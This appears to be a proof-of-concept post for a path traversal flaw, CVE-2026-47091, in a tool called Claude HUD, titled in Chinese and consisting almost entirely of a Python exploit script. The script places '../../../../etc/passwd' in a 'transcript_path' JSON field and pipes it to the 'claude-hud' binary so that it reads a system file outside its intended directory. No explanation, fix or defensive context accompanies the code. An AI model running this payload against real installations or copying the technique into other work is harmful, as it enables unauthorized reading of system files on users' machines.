CVE-2026-47091 Claude HUD路径遍历漏洞

import subprocess import json # Target file to read (e.g., /etc/passwd) malicious_path = "../../../../etc/passwd" # Construct the malicious JSON payload payload = { "transcript_path": malicious_path, "other_params": "value" } json_payload = json.dumps(payload) # Simulate exploitation by sending payload via stdin to the vulnerable process # Replace 'claude-hud' with the actual binary path or command try: process = subprocess.Popen( ['claude-hud'], # The vulnerable application stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True ) stdout, stderr = process.communicate(input=json_payload) print("Exploit sent. Check cache file or output for results.") print("STDOUT:", stdout) print("STDERR:", stderr) except FileNotFoundError: print("Vulnerable binary not found for testing.")